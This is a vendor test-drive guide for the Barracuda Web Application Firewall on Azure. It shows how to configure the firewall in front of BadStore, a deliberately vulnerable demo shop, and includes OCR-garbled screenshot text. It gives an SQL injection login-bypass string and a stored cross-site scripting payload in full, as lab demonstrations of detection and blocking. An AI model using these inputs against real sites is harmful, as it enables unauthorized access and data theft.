Barracuda Web Application Firewall

Introduction to the Barracuda Web Application Firewall

The Barracuda Web Application Firewall blocks application DDoS and all known application layer attack modalities directed at online applications, hosted in corporate data centers or in cloud environments like Azure. Pre-built security templates and an intuitive web interface provide immediate security without the need for time-consuming tuning.

Key Capabilities:

1. Protect Applications

The Barracuda Web Application Firewall blocks an ever-expanding list of sophisticated web-based intrusions and attacks that target applications hosted on web servers and in the cloud. The Barracuda Web Application Firewall scans all inbound web traffic to block attacks, and inspects the HTTP responses from the configured back-end servers for Data Loss Prevention (DLP).

2. Control Access

The integrated access control engine enables administrators to create granular access control policies for Authentication, Authorization & Accounting (AAA) without having to change the application.

3. Accelerate Delivery

The on-board L4/L7 Load Balancing capabilities enable organizations to quickly add back-end servers to scale deployments as they grow. Its application acceleration capabilities like SSL Offloading, caching, compression, and connection pooling ensures faster application delivery of the web application content.

4. Gain Visibility

Extensive logging and reporting capabilities of the Barracuda Web Application Firewall provide complete visibility of your application traffic.

5. Close the Loop

Any new vulnerability detected by your vulnerability scanning engine can be quickly translated into protection rules on the Barracuda Web Application Firewall using its virtual patching capabilities.

6. The security capabilities of the Barracuda Web Application Firewall are augmented by Energize Updates provided by our research team at Barracuda Labs and community driven security intelligence platform of Barracuda Central.

Terminology

- 1. **Barracuda Web Application Firewall (WAF)** Barracuda's comprehensive Web Application Security solution.
- 2. **BadStore** A vulnerable Web Application used in this test drive that is secured using the Barracuda WAF.
- 3. **SQL injection** SQL injection is a code injection technique, used to attack data-driven applications, in which malicious SQL statements are inserted into an entry field for execution (e.g. to dump the database contents to the attacker).
- 4. **XSS injection** Cross-site scripting (XSS) is a type of computer security vulnerability typically found in Web applications. XSS enables attackers to inject client-side script into Web pages viewed by other users. A cross-site scripting vulnerability may be used by attackers to bypass access controls such as the same origin policy.

Pre-requisites

Following are the prerequisites for the Barracuda Web Application Firewall test drive:

- 1. Internet access & an up-to-date internet browser.
- 2. An email account to receive login credentials.

Introduction to the Barracuda Web Application Firewall Test Drive on Azure:

This test drive enables you to explore the capabilities of the Barracuda Web Application Firewall, and how it can protect your applications that are hosted on Azure against the attacks.

Test Drive Environment



- 1. Securing an application against attacks
- 2. Providing SSL Front Ends to non-SSL capable applications
- 3. BVM integration
- 4. Ease of use and configuration

Barracuda Web Application Firewall

The Barracuda Web Application Firewall blocks an ever-expanding list of sophisticated webbased intrusions and attacks that target applications hosted on web servers and in the cloud. The Barracuda Web Application Firewall scans all inbound web traffic to block attacks, and inspects the HTTP responses from the configured back-end servers for Data Loss Prevention (DLP).

BadStore

BadStore is an e-commerce application with many known vulnerabilities in it. Attacks can be generated against the BadStore application to understand how the web application is vulnerable and how the Barracuda Web Application Firewall can protect it.

Configuring BadStore with Barracuda

Once the test drive environment is up, you will receive the below details via email:

1. BARRACUDA ACCESS URL

<http://barracudadnszkinerekfbviy.westus.cloudapp.azure.com:8000>

2. BARRACUDA PRIVATEADDRESS <10.0.1.4>

3. BADSTORE PRIVATEIPADDRESS <10.0.2.4>

1. Login to the Barracuda console using the Barracuda Access URL and the username/password below:

username: admin

password: ***** <this is the password provided after deployment>

Bar	racuda Web Ap	plication Firev	wall					admin Sign	English
BASIC	SECURITY POLICIES	WEBSITES	ACCESS CONTROL	ADVA	NCED			Snieth Kelp Inpe	6
breodrie	Services Online Help Search	Default Security	Certificates IP Co	ediguration	Administration	Web Firmvall Logs	Access Loga	Audit Logs	Notifications
			Warning: Please se	et your Defai	ilt Domain under l	Configuration.			
Note: The r	viease notes for the lates	t firmware version h	ave not been read since	the last up da	le. Clica here to vie	w the release notes			
tote: Attac	idefversion 1 109 devel	oaded and applied	on the appliance. Click t	here to view t	te release notes				
ATTACK	ORIGINS		Last Day +	Q Help	PERFORMAN	E STATISTICS	1 11		Hei
	-	ile.			System	Load		à	5%
	100				S Firmwar	e Storage:		1	16%
		121		7	Q Log Sto	age.			17%
					Constati	1000	Denner		
					and operation	in Mode:	PTUNY		
	-		Acres		Data Pa	in Mode: th Status:	Active		
	1		A Star		Data Pa	m Mode: th Status: Status:	Active		
٠	-	Y		5	Cluster	in Mode: th Status: Status: res in use:	Active O barracuda		

3. Clicking on the **Services** tab will let you configure your WAF for services it is protecting. In the example below, a BadStore website serving traffic on HTTP has been configured.

Fill out the fields under the ADD NEW SERVICE tab as follows:

- Service Name: [any name] (Ex: "Badstore")
- Type: HTTP
- **Port:** 80
- **Real Servers:** 10.0.2.4

Barracuda Wet	Application F	irewall								edmin Sign (English	
BASIC SECURITY POR	JCIES WEBS	TES ACCES	S CONTROL	ADW	INCED				Sea	ch hop type		- 20
asiliboard Services sports Online Help Searc	Default Securi	Ry Certificates	IP Co	figuration	Administration	Web	Frewall Loga	Acces	s Loga A	udit Loga	Notific ation	•
DD NEW SERVICE												He
Service Name	Туре	Vid	al IP Addre	\$5.	Port	10	Real Server:	E.				
Badstore	HTTP	- 10	0.1.4		80		10.0.2.4					
Ves * No def	nit •	Add							More Acti	ons • P	references	He
	1.000	ID Address	Deat	Domain	URL	Tree	Mode	Delev	644		1	
Name	12.00.0		1.0 000.		1.12			1.000	1.000			

3. Click on Add, and you should see the BadStore service updated in the SERVICES tab:

BASIC SECURITY POLICIES WEBSITES ACCESS CONTROL AdvanceD Search heli topica Dakbeard Services Datable Search Centificates P Configuration Administration Web Frewal Logs Access Logs Audit Logs ADDNEW SERVICE Centificates P Configuration Administration Web Frewal Logs Access Logs Audit Logs ADDNEW SERVICE Virbual IP Address Port Real Servers Mode Service Name Type Virbual IP Address Port Real Servers Create Group Service Groups Add C'reate Group Service Address Port Domain Web SERVICES More Actions • Preferences Holp Name Status P Address Port Domain URL * Server_10.02.4_80 10.0.1.4 80 HITP Passive Ecit	Rama	ourda Web Applic	ation F	Firowall							admin	Sign out	English	
Daskband Notifications Service Define Help Search Online Help Search P Configuration Administration Web Frewail Logs Access Logs Audt Logs ADD NEW SERVICE Intelline Help Search Intelline Help Search Intelline Intelline Intelline Service Name Type Virbual IP Address Port Real Servers Intelline Intelline Create Group Service Groups Add Intelline Add Intelline	BASIC	SECURITY POLICIES	WEBSIT	es Access	CONTROL	ADVAN	CED				Search he	p topics		٩
ADD NEW SERVICE None Type Virbual IP Address Port Real Servers Service Name Type Virbual IP Address Port Real Servers Create Group Service Groups Create Group Gefault Add Filter All SERVICES More Actions Preferences INdp Server_Sto 24_80 10.0.1.4 80 HTTP Passive default Server Rule Edit Delete Disa Server_Sto 24_80 10.0.2.4 80 HTTP Passive default Server Rule Edit Delete Disa	Dashboard Notifications	Services Default Sec Reports Online Help	urby Search	Certificates	IP Configu	ration	Administration	Web Fin	ewall Logs	Access	.ogs Audt Log	5		
Service Name Type Virtual IP Address Port Real Servers Service Name Type Virtual IP Address Port Type Note Add	ADD NEW SERV	VICE		_		_	_	_	_		_			Help
HTTP • 10.0.1.4 80 Create Group C Yes ® No default • Add Filter Al • SERVICES More Actions • Preferences Holp Name Status P Address Port Doman URL Type Mode Policy Add • • • • • • • • • • • • • • • • • •	Service Name	Type		Virtua	IP Address		Port	Real S	ervers					
Create Group Service Groups C Yes @ No default • Add Filter Al • Status PAddress Port Domain URL Type Mode Policy Add • • • • • • • • • • • • • • • • • •		HTD	P	- 10.0	1.4		80							
Filter Al Status Filter Al Status Status Status Paddress Pert Coman URL Type Mode Policy Add Perferences Ide Ide Server_10.02.4_80 Ide Ide Ide Ide Ide Ide Ide Id	Create Group	Service Group	s	0.44										
Filter Al SERVICES More Actions Preferences Holp SERVICES More Actions Preferences Holp More Actions Preferences Holp HTTP Passive default Server jRule Ecit Delete Diss More Actions Holp Holp		- Official		100	,									
Stark/CE.5 More Actions Preferences Neel	Filter AI	•										_		
Name Status P Address Port Domain URL Type Mode Pelcy Add Image: Status Image: Status <th>SERVICES</th> <th></th> <th></th> <th></th> <th></th> <th></th> <th></th> <th></th> <th></th> <th></th> <th>More Actions</th> <th>Prefe</th> <th>rences</th> <th>Help</th>	SERVICES										More Actions	Prefe	rences	Help
□ □ </td <td>Name</td> <td></td> <td>Status</td> <td>IP Address</td> <td>Port</td> <td>Domain</td> <td>URL</td> <td>Type</td> <td>Mode</td> <td>Policy</td> <td>Add</td> <td></td> <td></td> <td></td>	Name		Status	IP Address	Port	Domain	URL	Type	Mode	Policy	Add			
□ □ </td <td>🗆 🖹 🙆 def</td> <td>fault</td> <td></td>	🗆 🖹 🙆 def	fault												
Image: Control of the second seco		default												
		Badstore	~	10.0.1.4	80			HTTP	Passive	default	Server Rule	Edit	Delete	Disat
<u>د</u>		Server_10.0.2.4_80	×	10.0.2.4	80							Edit	Delete	Disat
	•													ШÞ
														-

Tests in Passive Mode

By default, the service(s) configured are in Passive mode. In the tests below, we will send few attacks and view the logs generated for those attacks. In Passive mode, the Barracuda Web Application Firewall just logs violating events and allows the request to pass through. In Active mode, all attacks are logged as well as blocked.

<u>Test 1 – SQL Injection Attack</u> Ensure the Service is in Passive Mode

Log into the Barracuda Web Application Firewall web interface (use the Barracuda Access URL), and go to the **BASIC > Services** page.

1. In the Services section, view the Mode listed next to the BadStore service.

BASIC	SECURITY POLICIE	ES WEB SIT	TES AC	CESS CONTROL	. ADVA	NCED				Search help	topics		
hboard orts	Services Online Help Search	Default Securi	ty Certifi	cates IP Co	nfiguration	Administration	Web	Firewall Logs	Access I	Logs Audit Log	is 1	Votifications	
D NEW S	ERVICE												
ervice Na	me	Туре		Virtual IP Addre	ss	Port	F	Real Servers					
		HTTP		10.0.1.4		80							
Yes 🖲	up Service No default	Groups •	A	dd									
Yes () Yes () T ter Al	up Service No default	Groups	A	dd						More Actions 👻	Prefe	rences	
Ves Ves Ves Ves Ves Ves Ves Ves	up Service No default	Groups • Status	A IP Address	dd Port	Domain	URL	Туре	Mode	Policy	More Actions -	Prefe	rences	
reate Gro Yes Iter Al RVICES	up Service No default I default	Groups	A IP Address	dd Port	Domain	URL	Туре	Mode	Policy	More Actions 👻	Prefe	rences	
Iter Al Name	up Service No default I default default	Groups	IP Address	dd Port	Domain	URL	Туре	Mode	Policy	More Actions + Add Server Rule	Prefe	Delete	

Generating SQL Injection

- 2. Open a new tab/window in the web browser and navigate to the BadStore website:
 - To get to this website, enter the Barracuda Access URL in your browser, but remove the **:8000** port and add /cgi-bin/badstore.cgi on the end.

Example: http://barracudadnslcytwfxb3ab3g.westus.cloudapp.azure.com/cgi-bin/badstore.cgi



c. On the BadStore website, click **Login/Register**. You will be challenged to enter the login credentials to see your orders.

- 1. In the Login page, enter "admin 'or' 1=1" (see image below) in the Email Address field.
- 2. Enter "admin" as password in the Password field, and click Login.

BadStore	net		
Welcome Master System	Administrator - Cart c	ontains 0 items 🍦 <mark>View Cart</mark>	Search Go
Shop Badstore.net	Login to Your	Account or Register for a Ne	ew Account
<u>Home</u> <u>What's New</u> Sian Our Guestbook	Login to Your A	ccount	
View Previous Orders About Us My Account	Password:	Login	

3. Now, click on **View Previous Orders**. You will see that you are logged in as a Master System Administrator, and able to see all the orders that were placed along with the credit card information of users.

Welcome Master System Ad	dministrator - Carl	t contains 0 items	Mew Cart		Search	Go
Shop Badstore.net	You have pl	aced the follo	wing orde	ers:		
Home What's New	Order Date	Order Cost	# Items	Item List	Card Used	
Sign Our Guestbook View Previous Orders	2012-12-05	\$360.00	1	1002	2014 0000 0000 00	9
About Us	2012-12-21	\$1137.90	3	1008,1009,1011	6011 0000 0000 00	04
My Account	2012-12-21	\$137.90	3	1008,1009,1011	3000 0000 0000 04	
Login / Register	2012-12-27	\$22.95	1	1008	3400 0000 0000 00	9
Suppliers Only	2013-01-02	\$46.95	3	1000,1003,1008	5500 0000 0000 00	04
Supplier Login	2013-01-03	\$46.95	3	1000,1003,1008	4111 1111 1111 1111	í.
Supplier Contract	2013-01-05	\$137.90	3	1008,1009,1011	6011 0000 0000 00	04
Supplier Procedures	2013-01-06	\$137.90	3	1008,1009,1011	3000 0000 0000 04	8
Reference	2013-01-06	\$22.95	1	1008	3400 0000 0000 00	9
BadStore.net Manual v1.2	2013-01-06	\$46.95	3	1000,1003,1008	5500 0000 0000 00	04

4. Return to the Barracuda Web Application Firewall web interface, and go to the **BASIC** > **Web Firewall Logs page.** You will see the logs generated for the SQL injection attack.

Barra	acuda Web Applic	ation Firewa	all				English
BASIC	SECURITY POLICIES	WEBSITES	ACCESS CONTROL	ADVANCED		[Search help topics
iboard orts	Services De Online Help Search	fault Security	Certificates IP Config	uration Administration	Web Firewall Log	Access Logs	Audit Logs Notificatio
B FIREWA	LL LOGS				Generate	CSV File - Show:	20 logs per page 👻 🛱
Select Filte	r- 👻 is equal to		•		+ Apply Filter	Save Filter	
			Page 1	of1 < 1	>		
ime		Event Details	Page 1	of 1 < 1 Client Details	> Attack Details		Actions
ime 1 LOG	GED	Event Details URL	Page 1 /cgi-bin/badstore.cgi	of 1 < 1 Client Details	> Attack Details		Actions
ime LOG Time	GED 19:02:15.765	Event Details URL Service IP:Port	Page 1 /cgi-bin/badstore.cgi 10.0.1.4:80	of 1 < 1 Client Details Client IP 45.125.254.1	> Attack Details	SQL Injection in Para	Actions meter Fix Details
ime LOG Time Date	GED 19:02:15.765 2016-09-14	Event Details URL Service IP:Port Service Name	Page 1 /cgi-bin/badstore.cgi 10.0.1.4:80 badstore	of 1 < 1 Client Details Client IP 45.125.254.1 Country IN	Attack Details Attack Name Attack Detail	SQL Injection in Para type="sql-injection-m	Actions imeter Fix Details edium" patt
ime LOG Time Date ID	GED 19:02:15.765 2016-09-14 1572b948354-9b74b769	Event Details URL Service IP:Port Service Name Protocol	Page 1 /cgi-bin/badstore.cgi 10.0.1.4:80 badstore HTTP	of 1 < 1 Cient Details Client IP Country Method POST	> Attack Details 129 Attack Name Attack Detail Rule	SQL Injection in Para type="sql-injection-m şecurity-policy	Actions imeter Fix Details edium" patti
ime LOG Time Date ID LOG	GED 19:02:15.765 2016-09-14 1572b948354-9b74b769 GED	Event Details URL Service IP:Port Service Name Protocol URL	Page 1 /cgi-bin/badstore.cgi 10.0.1.4:80 badstore HTTP /cgi-bin/badstore.cgi	of 1 < 1 Client Details Client IP 45.125.254.1 Country IN Method POST	> Attack Details 129 Attack Name Attack Detail Rule	SQL Injection in Para type="sql-injection-m security-policy	Actions Imeter Fix Details edium" path
ime ↑ LOG Time Date ID ↑ LOG Time	CED 19.02.15.765 2016-09-14 1572b948354-9b74b769 CED 18.59.49.202	Event Details URL Service IP:Port Service Name Protocol URL Service IP:Port	Page 1 /cgi-bin/badstore.cgi 10.0.1.4:80 badstore HTTP /cgi-bin/badstore.cgi 10.0.1.4:80	of1 < 1 Clent Details Clent IP Country Method Clent IP A5.125.254.1 POST Clent IP A5.125.254.25 N N Country Clent Details	Attack Details Attack Details Attack Name Attack Detail Rule Attack Name	SQL Injection In Para type="sql-injection-m security-policy SQL Injection In Para	Actions meter Fix Details edium* pate
ime ↑ LOG Time Date ID ↑ 10G Time Date	GED 19:02:15:765 2016-09:14 1572b948354-9b74b769 GED 18:59:49:202 2016-09:14	Event Details URL Service IP:Port Service Name Protocol URL Service IP:Port Service Name	Page 1 /cgi-bin/badstore.cgi badstore HTTP /cgi-bin/badstore.cgi 10.0.1.4:80 badstore badstore	of1 < 1 Client Details Client IP 45.125.254.1 Country Method POST Client IP 45.125.254.1 Country Method No	 Attack Details Attack Name Attack Detail Rule Attack Name Attack Detail Attack Detail 	SQL Injection in Para type="sql-injection-m security-policy SQL Injection in Para type="sql-injection-m	Actions meter Fix Details edium* patb
ime ↑ 100 Time Date ID ↑ 100 Time Date ID	GED 19.02:15.765 2016-09-14 1572b948354-9b74b769 GED 18.55949.202 2016-09-14 1572b9246d1-a274f669	Event Details URL Service IP:Port Service Name Protocol URL Service IP:Port Service Name Protocol	Page 1 /(cgi-bin/badstore.cgi 10.0.1.4.80 badstore HTTP /(cgi-bin/badstore.cgi 10.0.1.4.80 badstore HTTP	of1 < 1 Client Details Client IP Method POST Client IP 45.125.254.1 Country Method POST	Attack Details Attack Details Attack Detail Rule Attack Name Attack Name Attack Detail Rule	SQL Injection in Para type="sql-injection-m security-policy SQL Injection in Para type="sql-injection-sql-injectio	Actions meter Fix Details edium" path meter Fix Details edium" path

Test 2 – Cross-Site Scripting Attack (XSS)

Note: Clear the cache on the web browser before you proceed, or close the browser and open it again (Private mode browsing should work as well).

Here, we will generate a stored XSS attack. With this attack, whenever a user attempts to access any page on the BadStore website, a pop-up window appears.

Generating a Cross-Site Scripting Attack

Welcome user1 - Cart conta	ains 0 items at \$0.00	View Cart	Search
Shop Badstore.net	Login to Your	Account or Register for a New Acc	count
Home What's New Sign Our Guestbook View Previous Orders About Us My Account Login / Register	Login to Your A Email Address: Password:	Login	
Suppliers Only	Register for a N	ew Account	
<u>Supplier Login</u> Supplier Contract Supplier Procedures	Fuil Name: Email Address: Password:	useri <scriptpaterit, hello="" ii!!)<="" sc<br="">noreplay@domain.com</scriptpaterit,>	
Reference BadStore.net Manual v1.2	Password Hint:	What's Your Favorite Color?: Green ▼ (The Password Hint is used as a security mea password. You will need both your email addr account if you forget your current password.)	sure to help recover a forgotten ress and this hint to access your

- 1. Go to the Login / Register page of the BadStore website.
- 2. In the **Register for a New Account** section enter:
 - 1. Full Name: user1<script>alert("Hello !!!")</script> (Enter this full script).
 - 2. Email Address: Enter a random value. (Optional)
 - 3. Password: Enter a random value. (Optional)

3. Click **Register**. You will see a pop-up window appearing on the page as shown in the image below:

How to Configure Sys	🏮 conciergeStageapp- cc 🏼 🌰 Subscriptions	barracudadnslcytwfxb3ab3g.westus.cloudapp.azure.com	
	BadStore.	Hello !!! OK	G
	Home <u>What's New</u> Sign Our Guestbook View Previous Orders <u>About Us</u> <u>My Account</u> <u>Login / Register</u>		

 Return to the Barracuda Web Application Firewall web interface, and go to the BASIC > Web Firewall Logs page. You will see the logs generated for the Cross-Site Scripting attack

Dan			all 					_	
BASIC	SECURITY POLICIES	WEBSITES	ACCESS CONTROL	ADVANO	ED			Search help	topics
nboard orts	Services De Online Help Search	fault Security	Certificates IP Config	uration	Administration	Web Firewall Log	Access	Logs Audit Log:	s Notificatio
B FIRE₩#	ALL LOGS					Generate	CSV File 👻	Show: 20 logs pe	erpage 👻 🛱
Select Filte	er- v is equal to		-		+	Apply Filter	Save Filter	r	
			Page 1	of 1	< 1 >				
īme		Event Details	Page 1	of 1 Client Deta	< 1 >	Attack Details			Actions
Time	GGED	Event Details URL	Page 1	of 1 Client Deta	< 1 >	Attack Details			Actions
Time Time Time	GGED 19:10:55:692 2015 00 14	Event Details URL Service IP:Port	Page 1 /cgi-bin/badstore.cgi 10.0.1.4:80 badstore	of 1 Client Deta	< 1 > iis 45.125.254.129	Attack Details Attack Name	Cross-Site So	cripting in Paramete	Actions e Fix Details
ime Time Date ID	GGED 19:10:55:692 2016-09-14 1572b9c724c-9b74b769	Event Details URL Service IP:Port Service Name Protocol	Page 1 /cgi-bin/badstore.cgi 10.0.1.4:80 badstore HTTP	of 1 Client Deta Client IP Country Method	< 1 > iis 45.125.254.129 N POST	Attack Details Attack Name Attack Detail Rule	Cross-Site So type="cross-s security-polic	cripting in Paramete site-scripting" patter	Actions e Fix Details
Time Time Date ID	GGED 19:10:55:692 2016-09-14 1572b9c724c-9b74b769 SGED	Event Details URL Service IP:Port Service Name Protocol URL	Page 1 /cgi-bin/badstore.cgi 10.0.1.4:80 badstore HTTP /cgi-bin/badstore.cgi	of 1 Client Deta Client IP Country Method	< 1 > iis 45.125.254.129 POST	Attack Details Attack Name Attack Detail Rule	Cross-Site So type="cross-s security-polic	cripting in Paramete site-scripting" patter	Actions e Fix Details r
Time Time Date ID Time Time	SCED 19-10-55-692 2016-09-14 15720-9074-0974b769 SCED 19:09-21.471	Event Details URL Service IP:Port Service Name Protocol URL Service IP:Port	Page 1 /cgi-bin/badstore.cgi 10.0.1.4:80 badstore HTTP /cgi-bin/badstore.cgi 10.0.1.4:80	of 1 Client Deta Client IP Country Method	< 1 > is 45.125.254.129 M POST 45.125.254.129	Attack Details Attack Name Attack Detail Rule Attack Name	Cross-Site So type="cross-s security-polic Cross-Site So	cripting in Paramete site-scripting" patter 27 cripting in Paramete	Actions e Fix Details rr
Time Time Date ID Time Date Date	GGED 19:10:55:692 2016-09-14 1572096724C-9b74b769 GGED 19:09:21:471 2016-09-14	Event Details URL Service IP:Port Service Name Protocol URL Service IP:Port Service Name	Page 1 /cgi-bin/badstore.cgi 10.0.1.4.80 badstore. HTTP /cgi-bin/badstore.cgi 10.0.1.4.80 badstore	of 1 Client Deta Client IP Country Method Client IP Country	< 1 > is 45 125 254 129 IN POST 45 125 254 129 IN	Attack Details Attack Name Attack Detail Rule Attack Name Attack Detail	Cross-Site So type="cross-s security-polic Cross-Site So type="cross-s	cripting in Paramete site-scripting" patter cripting in Paramete site-scripting " patter	Actions e Fix Details r Fix Details

Tests in Active Mode

In Active mode, all attacks are logged as well as blocked. We will change the service mode to Active, and see how the Barracuda Web Application Firewall blocks the attacks.

To Change the Mode of a Service:

- 1. Return to the Barracuda Web Application Firewall web interface, and **go to the BASIC** > **Services page.**
- 2. In the Services section, click Edit next to the "server | rule"
- 3. In the **Service** window, scroll down to the **Basic Security** section and change the Mode to **Active**.

BASIC SECURITY	Y POLICIES	WEBSI	TES ACCES	S CONTROL	ADVA	CED				Search help	o topics		(
ashboard Services eports Online Help	Defau Search	ult Securi	ity Certificates	s IP Cor	figuration	Administration	web	Firewall Logs	Access	a Logs Audit Loj	gs N	lotifications	
ADD NEW SERVICE													Hel
Service Name	Туре		Virt	tual IP Addre	ss	Port	-	Real Servers					
	HTT	ΓP	- 10	.0.1.4		80							
Create Group	Service Groups												
🖲 Yes 🖲 No	default 👻		Add]									
ilter All 🔸													
ERVICES										More Actions -	Prefe	rences	He
Name		Status	IP Address	Port	Domain	URL	Туре	Mode	Policy	Add			
📄 ڬ default													
e default	-		10.0.1.1	80			UTTO	Bassiva	default	Conver I Dulo	Edit	Delete	D
	10.0.2.4.90		10.0.1.4	80			RUIE	Fassive	delault	ServerTrule	Edit	Delete	D
/eb Application Firewall: Ser arracudadnslcytwfxb3ab	rvice - Google Chrom b3g.westus.clouda	ne app.azur	e.com:8000/cgi-m	nod/index.cg	i?password=5		□ 5f6dc7383f0	×) ar × 3202 7058/	V X vocale=en_US	🕒 W × 🗸 🗸 W	× D	W ×	f28
Web Application Firewall: Ser barracudadnslcytwfxb3ab fort	rvice - Google Chrom b3g.westus.clouda 80	ne app.azur	e.com:8000/cgi-m	nod/index.cg	i?password=5	c1c6a609de55	Gif6dc7383f0	×) ar × 3202 7705&1	ocale=en_US	S&password=9326	x 1 a7c4cae9a nin Sign ou	W × ae75b4dda	f28
Veb Application Firewall: Ser parracudadnslcytwfxb3ab Yort task	nvice - Google Chrom o3g.westus.clouda 80 Part of the servic	ne app.azur ce.	e.com:8000/cgi-m	nod/index.cg	i?password=5	– c1c6a609de55 Save	Gif6dc7383f0	×) ar × 3202 (705&)	ocale=en_US	C V. X X V V S&password=9326	x 🗋 a7c4cae9a nin Sign ou	W ×	f28
Web Application Firewall: Ser aarracudadnslcytwfxb3ab ort 1ask nable Access Loos	vice - Google Chrom o3g.westus.clouda 80 Port of the servic 255 255 255 20	ne app.azur ce. 0	e.com:8000/cgi-m	nod/index.cg	i?password=5	 c1c6a609de55 Save	Gif6dc7383f0 Cancel	×) at × 3202 705&l	ocale=en_US	C V × / V V S&password=9326; adr Bearch	nin Sign ou	W × ae75b4dda t English	f28
Veb Application Firewall: Ser arracudadnslcytwfxb3ab ort lask nable Access Logs ession Timeout	vice - Google Chrom 53g.westus.clouda 80 Port of the servic 255.255.255.3 Yes No 60	ne app.azur ce. 0	e.com:8000/cgi-m	nod/index.cg	i?password=5	 c1c6a609de55 Save	Gif6dc7383f0	×) ar × 3202 705&1	ocale=en_US	G&password=9326 adr Search Access Logs Aud	nin Sign ou help topics	W × ae75b4dda t English Notifications	f28
Web Application Firewall: Ser parracudadnslcytwfxb3ab ort task inable Access Logs eession Timeout	vice - Google Chrom 33g.westus.clouda 80 Port of the servic 255 255 255 0 No 60 Specifies the ket	ne app.azur ce. 0 epalve tim mes out	e.com:8000/cgi-m	nod/index.cg	i?password=5		Gif6dc7383f0 Cancel	X) at X 3202 70582	ocale=en_US	L W X L W S&password=9326. adv Saarch Access Logs Aud	nin Sign ou help topics	W ×ae75b4dda	f28
Web Application Firewall: Ser parracudadnslcytwfxb3ab ort task inable Access Logs ession Timeout comments	Nvice - Google Chrom D3g.westus.clouda 80 Port of the servic 255.2552551 Yes No 60 Specifies the ket session never th	ne app.azur ce. 0 epaive tim mes out.	e.com:8000/cgi-m	nod/index.cg	i?password=5 tions with clients.		Gifedc7383f0	X) ar X 3202 705&0	ocale=en_US	Cartch Access Logs Aud	nin Sign ou help topics	W × ee75b4dda t English Notifications	f28
Web Application Firewall: Ser aarracudadnslcytwfxb3ab ort task nable Access Logs ession Timeout omments	Nice - Google Chrom D3g.westus.clouda Rot of the servic 255 255 255 9 Yes No 60 Specifies the ket session never br	ne app.azur ce. 0 epaive tim mes out.	e.com:8000/cgi-m	nod/index.cg	i?password=5	- c1c6a609de55 Save	Cancel	X) ar X 3202 7058d	ocale=en_US	C V × / L / V Stepassword=93264 add Search Access Logs Audi	nin Sign ou help topics	W × te75b4dda t English Notifications	f28
Web Application Firewall: Ser parracudadnslcytwfxb3ab ort task inable Access Logs ession Timeout comments sitc SECURITY	vice - Google Chrom 53g.westus.clouda Port of the servic 255.265.265 0 No 60 Specifies the ker session never to	né app.azur ce. 0 epalve tim mes out.	e.com:8000/cgi-m	nod/index.cg	i?password=5		Cancel	X) ar X 3202 70580 eb Firew Real 1	al Logs	C V × / / / V Stepassword=9326 add Search Access Logs Aud	nin Sign ou help topics	W × ae75b4dda English Notifications	f28
Veb Application Firewall: Ser arracudadnslcytwfxb3ab ort iask nable Access Logs ession Timeout omments SIC SECURITY Yeb Firewall Policy:	vice - Google Chrom 33g.westus.clouda Port of the servic 255255255 System No 60 Specifies the kervic session never to default	ne app.azur ce. 0 opalve tim mes out.	e.com:8000/cgi-m	nod/index.cg	17 password=5		Cancel	X) or X 3202 70580 eb Firew Real 1	at Logs	C V × / / / / / / / / / / / / / / / / / /	nin Sign ou help topics	W × ae75b4dda L English Notifications	f28
Veb Application Firewall: Ser anarracudadnslcytwfxb3ab ort lask nable Access Logs ession Timeout omments sic SECURIPY (eb Firewall Policy: cb Firewall Policy:	vice - Google Chrom 33g.westus.clouda 80 Port of the servic 255 255 255 © Yes © No 60 Specifies the ker session never by default Sessier a policy in	ne ce. o o spalive timmes out.	e.com:8000/cgi-m eout in seconds for pe	nod/index.cg vralatent connec	17 password =5 tions with clients.		Cancel	× 2 ar × 33202 705&	view with a second seco	L W X I V V I V V Schassword=93260 add Centrol Access Logs Aud	nin Sign ov help topics	W × ae75b4dda I English Notifications	f28
Veb Application Firewall: Ser avarracudadnslcytv/rxb3ab ort lask nable Access Logs ession Timeout omments SIC SECURITY Veb Firewall Policy: reb Firewall Log Level:	vice - Google Chrom 03g.westus.clouda 80 Port of the servic 255 255 255 © Yes © No 60 Specifies the key f default Select a policy fr S-Notice Select the level f	epalve tim epalve tim mes out.	e.com:8000/cgi-m	nod/index.cg vrsistent connec d for this Service	27password=5 tons with clients.		Cancel	X 2 ar X 3202 705&	ocale=en_US	C W X C W Schassword=9326C addr Control Access Logs Aud	nin Sign ou help topics	W X er75b4dda English	f28
Veb Application Firewall: Ser avarracudadnslcytwfxb3ab ort lask nable Access Logs ession Timeout omments SIC SECURITY Veb Firewall Policy: /eb Firewall Log Level: lode:	vice - Google Chrom D3g.westus.clouda 80 Port of the server 255 255 255 © Yes © No 60 Specifies the kee session never to default Select a policy in S-Notice People district on bank of Policy and Select and S	spalve times out.	e.com:8000/cgi-m	nod/index.cg relatent connec d for this Service	1?password=5 tons with clients.	Ctc6a609de55 Save	Cancel	×) ar × 33202 705&1	at Logs	C W X C W Schpassword=93260 edd Controls Access Logs Aud	× D	W × e75b4dda English Notifications	f28
Veb Application Firewall: Ser avarracudadnslcytwfxb3ab ort lask nable Access Logs ession Timeout omments SIC SECURITY Veb Firewall Policy: Veb Firewall Log Level: tode:	vice - Google Chrom D3g.westus.clouda 80 Port of the serve 255.255255 @ Yes @ No 60 Crocefies the kee session never to default Select a policy fr S-Notice Departing interview	epailve tim espailve tim mes out.	e.com:8000/cgi-m	nod/index.cg	i?password=5 tons with clients. C uss higher priority clients: Logs and		Cancel	×) ar × 33202 705&d	at Logs	C W X I V V V V V V V V V V V V V V V V V V	x Cae9a nin Sign ou help lopics	W × tergish Notifications	f28 He
Veb Application Firewall: Ser anaracudadnslcytwfxb3ab ort lask nable Access Logs ession Timeout omments SIC SECURITY Veb Firewall Policy: 'eb Firewall Policy: 'eb Firewall Log Level: ode:	vice - Google Chrom D3g.westus.clouda 80 Pert of the server 255 255 255 (* Yes (* No 60 Specifies the ker session never to default Select a poly fr 5-Notice Data the transformed Passiv attractions, Reco	e app.azur ce. 0 epalve tim mes out.	e.com:8000/cgi-m eout in seconds for pe op-down flat to be used blab. Firewall events: indow loging: indow set the Mode	nod/index.cg vrsistent connec a for this Service The lower level I pass through: A pass through: A	i?password = 5 tons with clients. tass higher priority ctive: Logs and after time-tunin		Cancel Help	X) ar X 3202 7058d eb Firew Real 1	de Pole	W x Image: Control of the second se	x Cae9a nin Sign ou teip lopids Llogs	W W X English Registrations	f28 He
